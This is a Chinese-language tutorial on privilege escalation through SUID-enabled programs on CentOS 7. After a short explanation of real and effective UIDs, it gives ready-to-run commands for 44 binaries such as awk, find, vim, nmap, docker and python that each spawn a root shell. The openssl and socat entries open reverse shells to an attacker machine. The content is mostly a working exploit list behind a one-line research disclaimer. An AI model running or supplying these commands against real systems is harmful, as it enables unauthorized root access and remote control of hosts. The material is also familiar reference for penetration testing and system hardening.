一、操作目的和应用场景
本文档介绍在CentOS 7系统中利用带有suid权限的程序提权从而获取root shell的方法。
首先简单介绍suid的概念:
Linux进程在运行的时候有以下三个UID:
Real UID:执行该进程的用户的UID。Real UID只用于标识用户,不用于权限检查。
Effective UID(EUID):进程执行时生效的UID。在对访问目标进行操作时,系统会检查EUID是否有权限。一般情况下,Real UID与EUID相同,但在运行设置了SUID权限的程序时,进程的EUID会被设置为程序文件属主的UID。
Saved UID:在高权限用户降权后,保留的UID。
进程的GID与UID情况类似。
CentOS系统中存在可执行程序/bin/cat,属主属组均为root,任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow,属主属组也都是root,不提供任何访问权限。
假设系统中存在一个普通用户,名为user1,UID和GID都是1000。该用户对/bin/cat具有执行权限,对/etc/shadow不具有任何权限。默认情况下,user1执行/bin/cat,系统会创建一个cat进程,进程的Real UID和Effective UID相同,都是运行该进程的user1用户的UID(1000)。cat进程访问/etc/shadow,由于进程的EUID不具备任何访问权限,所以系统会拒绝其访问目标。
为/bin/cat设置SUID权限之后,user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值,也就是root的UID:0。这样该进程访问/etc/shadow时,虽然目标文件拒绝任何人访问,但是由于进程的Effective UID为0,具备超级用户权限,可以访问任意文件,所以就可以显示shadow文件的内容了。
如果某个设置了suid权限的程序运行后创建了shell,那么shell进程的EUID也会是这个程序文件属主的UID,也就是说,这是一个root shell。root shell中运行的程序的EUID也都是0,具备超级权限。
为可执行文件添加suid权限的目的是简化操作流程,让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当,则很容易造成提权。
二、平台及工具版本
虚拟机:CentOS Linux release 7.8.2003 (Core)
三、操作步骤
(一)suid/sgid权限设置
chmod u+s prog1 //设置prog1的suid权限
chmod g+s prog2 //设置prog2的sgid权限
(二)查找带有suid/sgid权限的文件
find / -perm -u=s -type f 2>/dev/null //查找suid文件
find / -perm -g=s -type f 2>/dev/null //查找sgid文件
现在我们假设,后面介绍的用于提权的程序文件都被root用户设置了suid权限,我们搜索到这些文件后开始提权。
(三)提权
1、 awk
输入下面的命令进行提权:
awk 'BEGIN {system("/bin/bash -p")}'
提权成功,得到了root shell。
2、 bash
输入下面的命令进行提权:
bash -p
提权成功,得到了root shell。
3、 csh
输入下面的命令进行提权:
csh -b
提权成功,得到了root shell。
4、 dmesg
输入下面的命令进行提权:
dmesg -H
!/bin/sh -p
提权成功,得到了root shell。
5、 docker
输入下面的命令进行提权:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
提权成功,得到了root shell。
6、 ed
输入下面的命令进行提权:
ed
!/bin/sh -p
提权成功,得到了root shell。
7、 env
输入下面的命令进行提权:
env /bin/sh -p
提权成功,得到了root shell。
8、 expect
输入下面的命令进行提权:
expect -c 'spawn /bin/sh -p;interact'
提权成功,得到了root shell。
9、 find
输入下面的命令进行提权:
find . -exec /bin/sh -p \; -quit
提权成功,得到了root shell。
10、 flock
输入下面的命令进行提权:
flock -u / /bin/sh -p
提权成功,得到了root shell。
11、 ftp
输入下面的命令进行提权:
ftp
!/bin/sh -p
提权成功,得到了root shell。
12、 gdb
输入下面的命令进行提权:
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
提权成功,得到了root shell。
13、 gimp
输入下面的命令进行提权:
gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'
提权成功,得到了root shell。
14、 git
输入下面的命令进行提权:
git help status //在底行输入“!/bin/sh -p”
回车后得到shell:
提权成功,得到了root shell。
15、 ionice
输入下面的命令进行提权:
ionice /bin/sh -p
提权成功,得到了root shell。
16、 ip
输入下面的命令进行提权:
ip netns add foo
ip netns exec foo /bin/sh -p
ip netns delete foo
提权成功,得到了root shell。
17、 ksh
输入下面的命令进行提权:
ksh -p
提权成功,得到了root shell。
18、 less
输入下面的命令进行提权:
less /etc/profile //读取文件,在底行输入!/bin/sh -p
回车后进入新的shell
提权成功,得到了root shell。
19、 logsave
输入下面的命令进行提权:
logsave /dev/null /bin/sh -i -p
提权成功,得到了root shell。
20、 make
输入下面的命令进行提权:
COMMAND='/bin/sh -p'
make -s --eval=$'x:\n\t-'"$COMMAND"
提权成功,得到了root shell。
21、 man
man man //在底行输入"!/bin/sh -p"
回车后得到shell:
提权成功,得到了root shell。
22、 more
输入下面的命令进行提权:
more /etc/profile
!/bin/sh -p
提权成功,得到了root shell。
23、 nano
输入下面的命令进行提权:
nano //运行nano程序
^R //按下ctrl-r
^X //按下ctrl-x
reset; sh -p 1>&0 2>&0 //输入下面的命令
在nano的shell中无法显示命令内容,但是可以看到命令的结果。
提权成功,得到了root shell。
24、 nice
输入下面的命令进行提权:
nice /bin/sh -p
提权成功,得到了root shell。
25、 nmap
输入下面的命令进行提权:
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
nmap --script=/tmp/shell.nse 127.0.0.1
提权成功,得到了root shell。
26、 openssl
输入下面的命令进行提权:
首先在攻击者的机器上运行下面的命令以接收连接:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
之后在CentOS服务器上执行下面的命令:
RHOST=192.168.1.6
RPORT=12345
mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
攻击者收到反弹的shell:
提权成功,得到了root shell。
27、 php
输入下面的命令进行提权:
CMD="/bin/sh"
php -r "pcntl_exec('/bin/sh', ['-p']);"
提权成功,得到了root shell。
28、 python
输入下面的命令进行提权:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
提权成功,得到了root shell。
29、 rpm
输入下面的命令进行提权:
rpm --eval '%{lua:os.execute("/bin/sh -p")}'
提权成功,得到了root shell。
30、 rsync
输入下面的命令进行提权:
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null
提权成功,得到了root shell。
31、 rvim
输入下面的命令进行提权:
rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
提权成功,得到了root shell。
32、 setarch
输入下面的命令进行提权:
setarch $(arch) /bin/sh -p
提权成功,得到了root shell。
33、 socat
输入下面的命令进行提权:
攻击者首先在自己的计算机启动对TCP 8888端口的监听
socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
服务器通过socat发起连接:
socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr
攻击者得到shell:
提权成功,得到了root shell。
34、 ssh
输入下面的命令进行提权:
ssh -o ProxyCommand=';sh -p 0<&2 1>&2' x
提权成功,得到了root shell。
35、 strace
输入下面的命令进行提权:
strace -o /dev/null /bin/sh -p
提权成功,得到了root shell。
36、 stdbuf
输入下面的命令进行提权:
stdbuf -i0 /bin/sh -p
提权成功,得到了root shell。
37、 taskset
输入下面的命令进行提权:
taskset 1 /bin/sh -p
提权成功,得到了root shell。
38、 tclsh
输入下面的命令进行提权:
tclsh
exec /bin/sh -p <@stdin >@stdout 2>@stderr
提权成功,得到了root shell。
39、 time
输入下面的命令进行提权:
time /bin/sh -p
提权成功,得到了root shell。
40、 timeout
输入下面的命令进行提权:
timeout 7d /bin/sh -p
提权成功,得到了root shell。
41、 vim
输入下面的命令进行提权:
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
提权成功,得到了root shell。
42、 watch
输入下面的命令进行提权:
watch -x sh -c 'reset; exec sh -p 1>&0 2>&0'
无法显示执行的命令,但是可以看到执行结果。
提权成功,得到了root shell。
43、 xargs
输入下面的命令进行提权:
xargs -a /dev/null sh -p
提权成功,得到了root shell。
44、 zsh
输入下面的命令进行提权:
zsh
提权成功,得到了root shell。
四、总结
本文档仅用于研究目的,请勿用于非法用途。